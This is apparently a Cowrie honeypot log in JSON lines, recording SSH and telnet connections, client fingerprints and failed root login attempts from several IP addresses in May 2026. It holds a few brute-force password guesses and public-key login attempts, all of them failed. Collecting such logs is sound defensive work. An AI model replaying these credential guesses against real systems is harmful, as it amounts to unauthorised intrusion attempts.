{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:16.963389Z","src_ip":"181.188.172.6","session":"abbd298c2e0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:17.123209Z","src_ip":"181.188.172.6","session":"abbd298c2e0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.0416784286499,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:17.470953Z","src_ip":"134.209.74.135","session":"d2c35130bf3e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789@a","message":"login attempt [root/123456789@a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:18.064555Z","src_ip":"181.188.172.6","session":"abbd298c2e0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:19.191901Z","src_ip":"181.188.172.6","session":"abbd298c2e0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00648856163025,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:27.086385Z","src_ip":"152.42.224.71","session":"22ee551a6354","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59538,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc6c3780d490","protocol":"telnet","message":"New connection: 152.42.224.71:59538 (10.17.0.5:23) [session: dc6c3780d490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:31.163840Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.221.143","src_port":59972,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cfdbd9c52e3","protocol":"ssh","message":"New connection: 207.180.221.143:59972 (10.17.0.5:22) [session: 6cfdbd9c52e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:33.096607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:33.101676Z","src_ip":"207.180.221.143","session":"6cfdbd9c52e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:33.206555Z","src_ip":"207.180.221.143","session":"6cfdbd9c52e3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:04:f1:d7:7b:56:71:00:6b:ec:35:9f:2a:e1:56:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCV6yj7TOzTeUU6kip0h/K/VT0yaSew9jySvm+eSAapD145ZKagnAbZy4V03eTUXf5uTtlyvchRCqGWlMaWmUio6qsDIooiL8S4u9AxjysXd+6vOvmVhq69Z4Pjl455+uGBVeLx61y1+xJqmGFyEMYQoew93+rST/3dpdhL8dpeO9ixLieeXamJ2LfRjRfTC/spzNFeHwemtYxwrPw+zIo+moo/247D3SboC/jj7ifqh7naGsGNnWCX2AMcMJZk322CusoGlx0o3I5pkjFPOYtr4/EgPHMjHDTm79/JgRFQbKgzJsEhgsy1RlkY27MOzSuQQI+xlV+DTQNAoe4UmAsz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5d:04:f1:d7:7b:56:71:00:6b:ec:35:9f:2a:e1:56:71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:33.676350Z","src_ip":"207.180.221.143","session":"6cfdbd9c52e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:04:f1:d7:7b:56:71:00:6b:ec:35:9f:2a:e1:56:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCV6yj7TOzTeUU6kip0h/K/VT0yaSew9jySvm+eSAapD145ZKagnAbZy4V03eTUXf5uTtlyvchRCqGWlMaWmUio6qsDIooiL8S4u9AxjysXd+6vOvmVhq69Z4Pjl455+uGBVeLx61y1+xJqmGFyEMYQoew93+rST/3dpdhL8dpeO9ixLieeXamJ2LfRjRfTC/spzNFeHwemtYxwrPw+zIo+moo/247D3SboC/jj7ifqh7naGsGNnWCX2AMcMJZk322CusoGlx0o3I5pkjFPOYtr4/EgPHMjHDTm79/JgRFQbKgzJsEhgsy1RlkY27MOzSuQQI+xlV+DTQNAoe4UmAsz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:33.680755Z","src_ip":"207.180.221.143","session":"6cfdbd9c52e3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:e0:69:66:95:1d:b8:c3:38:ab:d6:02:3b:a9:3b:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF2gfkvMiAM+F+w1Ey58tCzSo2/UKKCqhqr9Se9WgJ0IXtYoyoOrTfoad/Qk6WEyWvJjYPWB1oEMhwfnEr2RAz+cyelYCdNpk2ODyE3ymA2unkJBaEj8bwyNSRxV9a00Rs35u1wPvy2+xn/SBDrAoEIsdWyL/2UdtmAwXqZYAopIDP+7XJrodH9gRgvg6T2yUYRZi1OI/Bkkx/KccW4awp/DXBilO/AcjfsrzZRXL9g/tQ9Iee9vtFek+6y5hGXu23V9GouGEidVNjH0u/jbuiRO49tpay04wNm0AaY8tVMDCvGHVXAfQz/Fz0Xvy9ZUjSILsL4n5kS8RWdYZm6mkB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bf:e0:69:66:95:1d:b8:c3:38:ab:d6:02:3b:a9:3b:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:33.780057Z","src_ip":"207.180.221.143","session":"6cfdbd9c52e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:e0:69:66:95:1d:b8:c3:38:ab:d6:02:3b:a9:3b:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF2gfkvMiAM+F+w1Ey58tCzSo2/UKKCqhqr9Se9WgJ0IXtYoyoOrTfoad/Qk6WEyWvJjYPWB1oEMhwfnEr2RAz+cyelYCdNpk2ODyE3ymA2unkJBaEj8bwyNSRxV9a00Rs35u1wPvy2+xn/SBDrAoEIsdWyL/2UdtmAwXqZYAopIDP+7XJrodH9gRgvg6T2yUYRZi1OI/Bkkx/KccW4awp/DXBilO/AcjfsrzZRXL9g/tQ9Iee9vtFek+6y5hGXu23V9GouGEidVNjH0u/jbuiRO49tpay04wNm0AaY8tVMDCvGHVXAfQz/Fz0Xvy9ZUjSILsL4n5kS8RWdYZm6mkB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:33.783878Z","src_ip":"207.180.221.143","session":"6cfdbd9c52e3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d0:15:9d:4b:8e:6c:e2:bb:e4:c0:ff:43:a3:f1:c0:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRvp6vFX6zjCGq2D+3Ts3umxGHZw6kkx4RNXo5Cglhm1ZoijtnCEE3besV+A9kd61BufWv6rjurjYGPX5BjXlU7DcQZiEnXa62S2EVIBQRJhRwoT2uP4lOGO/10X63ipgXal/4WVqRgYmWHTPrvfJ7T21bAgjFWaAxuBulBPh9gn6kJ9+SKlvqZGmDeW2yKFN1L3tBeDCg4HtwAI+B2U1jYDdoHsd2cMxT6/Rted8JiisUlSCPsswEHFYzZSd81xuml1xLUSDCzrpisMg5xa4J1urZ5BKbh2MtFcS745Ob4B00P3r1zxUfNIOcZTXd+uhTwZxSjO8RkqWFD2l2IP1/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d0:15:9d:4b:8e:6c:e2:bb:e4:c0:ff:43:a3:f1:c0:b9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:33.885615Z","src_ip":"207.180.221.143","session":"6cfdbd9c52e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d0:15:9d:4b:8e:6c:e2:bb:e4:c0:ff:43:a3:f1:c0:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRvp6vFX6zjCGq2D+3Ts3umxGHZw6kkx4RNXo5Cglhm1ZoijtnCEE3besV+A9kd61BufWv6rjurjYGPX5BjXlU7DcQZiEnXa62S2EVIBQRJhRwoT2uP4lOGO/10X63ipgXal/4WVqRgYmWHTPrvfJ7T21bAgjFWaAxuBulBPh9gn6kJ9+SKlvqZGmDeW2yKFN1L3tBeDCg4HtwAI+B2U1jYDdoHsd2cMxT6/Rted8JiisUlSCPsswEHFYzZSd81xuml1xLUSDCzrpisMg5xa4J1urZ5BKbh2MtFcS745Ob4B00P3r1zxUfNIOcZTXd+uhTwZxSjO8RkqWFD2l2IP1/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:33.890044Z","src_ip":"207.180.221.143","session":"6cfdbd9c52e3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c8:cd:47:b0:0e:6e:f8:ce:99:42:8d:d0:a0:9f:9c:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDrNF6BFqwK3ERGwPs8yT0DUdPUx57WeFKXFYcuTHv54zYQqdSdmJ76xGDM5E99CQFFh5uBKs34DcVNGiFR4JWZr+pVx9Wl+/z7FeTLIK28Kvx2VVC6OMaXMcnw+Ldj3ENO4wBB7iTOXKbaqNFPkU8S5hIyoVoz5Z2aKsydhqMxw3vLpI8nnulJcEJM0a+19lPXgM9OaB/I/zHOhjNU/+eHJ1WmZIqXCFyL8va3eS6VSnzSLjk4JpVSFEPN2myw4hdddNy9bkKF+p8SZlNK2CaIUsNn9ej37t9vGHeK1DaBPFdmvd72l8nHwv2Zx1yTLZYCUuPTwES/yUUQzHUnrQ02b11d+Nvl/1kLaBg2zbRs9d4Qv1wZ45P/qiKNqQzPagUpWVj107rqGsdyX2kTSlj87+6r7BjYVCL2WQKT8uoOKNtYaaTaB7wQCHjCY40WwMHG/qt/q8NPAEDYzpIbClWPFq7Sr5/ZbpduRLVIMbtApu3seapwqawdz6HEpyzxZSbunajrGufaz5Owd1a7xnPhNHCT7D8kaptQgEzOaCSQk2BuWfGfm7drBzfdBBgUynUDVoVcahvd8HKZ0ADmXWDSQGjjZNAAd0A2pdHEOx00lj3aPstA3YxnhMg3teFq+aPbTidmyEKey9N3tS2tQnlWfASR09E8LzHdFoRcy9XvEQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c8:cd:47:b0:0e:6e:f8:ce:99:42:8d:d0:a0:9f:9c:77","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:33.989448Z","src_ip":"207.180.221.143","session":"6cfdbd9c52e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c8:cd:47:b0:0e:6e:f8:ce:99:42:8d:d0:a0:9f:9c:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDrNF6BFqwK3ERGwPs8yT0DUdPUx57WeFKXFYcuTHv54zYQqdSdmJ76xGDM5E99CQFFh5uBKs34DcVNGiFR4JWZr+pVx9Wl+/z7FeTLIK28Kvx2VVC6OMaXMcnw+Ldj3ENO4wBB7iTOXKbaqNFPkU8S5hIyoVoz5Z2aKsydhqMxw3vLpI8nnulJcEJM0a+19lPXgM9OaB/I/zHOhjNU/+eHJ1WmZIqXCFyL8va3eS6VSnzSLjk4JpVSFEPN2myw4hdddNy9bkKF+p8SZlNK2CaIUsNn9ej37t9vGHeK1DaBPFdmvd72l8nHwv2Zx1yTLZYCUuPTwES/yUUQzHUnrQ02b11d+Nvl/1kLaBg2zbRs9d4Qv1wZ45P/qiKNqQzPagUpWVj107rqGsdyX2kTSlj87+6r7BjYVCL2WQKT8uoOKNtYaaTaB7wQCHjCY40WwMHG/qt/q8NPAEDYzpIbClWPFq7Sr5/ZbpduRLVIMbtApu3seapwqawdz6HEpyzxZSbunajrGufaz5Owd1a7xnPhNHCT7D8kaptQgEzOaCSQk2BuWfGfm7drBzfdBBgUynUDVoVcahvd8HKZ0ADmXWDSQGjjZNAAd0A2pdHEOx00lj3aPstA3YxnhMg3teFq+aPbTidmyEKey9N3tS2tQnlWfASR09E8LzHdFoRcy9XvEQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:33.994448Z","src_ip":"207.180.221.143","session":"6cfdbd9c52e3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"eb:bd:9f:f2:92:3f:f6:b7:2d:36:07:cb:eb:0e:18:49","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzFQRxSZ9oErp3RyCd0gK33bYqMTg5aiGwYIUDZ8kE9Hqt8Myrrt+cIsw2TvCpNlp5LuiMgkOrX6h/KyeFRYEEr6o5RZR3zkj57u1payUtKBLkqbGCoa5wl7110sDJADKi/U+4JBiyt9zydIJ3q9khP0HNy0HZRPXH5rXKierKzIgcJPVjaJUdD+Z2M9ycuk5CO6k0B1OJZcBFzSZHgNaMGlS3HJo8vcC5P1O0ZrfhKu6RBjiuDY0PaZ5P1eBG6lkLov4MAMxjRF0DJVqkyrXfN30eGAAitxV+q2ml5QkjJgUBjsu+9p9kdi4hUje8VH+44nG4LGh3S/Pcb1UoqkmvQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint eb:bd:9f:f2:92:3f:f6:b7:2d:36:07:cb:eb:0e:18:49","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:34.098856Z","src_ip":"207.180.221.143","session":"6cfdbd9c52e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"eb:bd:9f:f2:92:3f:f6:b7:2d:36:07:cb:eb:0e:18:49","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzFQRxSZ9oErp3RyCd0gK33bYqMTg5aiGwYIUDZ8kE9Hqt8Myrrt+cIsw2TvCpNlp5LuiMgkOrX6h/KyeFRYEEr6o5RZR3zkj57u1payUtKBLkqbGCoa5wl7110sDJADKi/U+4JBiyt9zydIJ3q9khP0HNy0HZRPXH5rXKierKzIgcJPVjaJUdD+Z2M9ycuk5CO6k0B1OJZcBFzSZHgNaMGlS3HJo8vcC5P1O0ZrfhKu6RBjiuDY0PaZ5P1eBG6lkLov4MAMxjRF0DJVqkyrXfN30eGAAitxV+q2ml5QkjJgUBjsu+9p9kdi4hUje8VH+44nG4LGh3S/Pcb1UoqkmvQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:34.103294Z","src_ip":"207.180.221.143","session":"6cfdbd9c52e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:34.203449Z","src_ip":"207.180.221.143","session":"6cfdbd9c52e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00468373298645,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:37.521641Z","src_ip":"152.42.224.71","session":"774941a8af82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0034167766571,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:39.651235Z","src_ip":"152.42.224.71","session":"f8833851883c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40322,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a525643d903","protocol":"telnet","message":"New connection: 152.42.224.71:40322 (10.17.0.5:23) [session: 5a525643d903]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:39.718262Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40326,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e2d759d2965","protocol":"telnet","message":"New connection: 152.42.224.71:40326 (10.17.0.5:23) [session: 8e2d759d2965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:46.667671Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":34608,"dst_ip":"159.203.135.109","dst_port":22,"session":"2aeb3ad6f63c","protocol":"ssh","message":"New connection: 103.98.149.87:34608 (159.203.135.109:22) [session: 2aeb3ad6f63c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:47.391191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:47.396374Z","src_ip":"103.98.149.87","session":"2aeb3ad6f63c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:48.617056Z","src_ip":"103.98.149.87","session":"2aeb3ad6f63c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456","message":"login attempt [root/aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:49.673240Z","src_ip":"103.98.149.87","session":"2aeb3ad6f63c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:50.908511Z","src_ip":"103.98.149.87","session":"2aeb3ad6f63c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41590,"dst_ip":"10.17.0.5","dst_port":23,"session":"c454b7102d9d","protocol":"telnet","message":"New connection: 152.42.224.71:41590 (10.17.0.5:23) [session: c454b7102d9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:51.857871Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":56772,"dst_ip":"159.203.135.109","dst_port":22,"session":"58343c142f3f","protocol":"ssh","message":"New connection: 47.237.167.49:56772 (159.203.135.109:22) [session: 58343c142f3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:52.818800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:52.842621Z","src_ip":"47.237.167.49","session":"58343c142f3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:53.107799Z","src_ip":"47.237.167.49","session":"58343c142f3f","protocol":"ssh"}
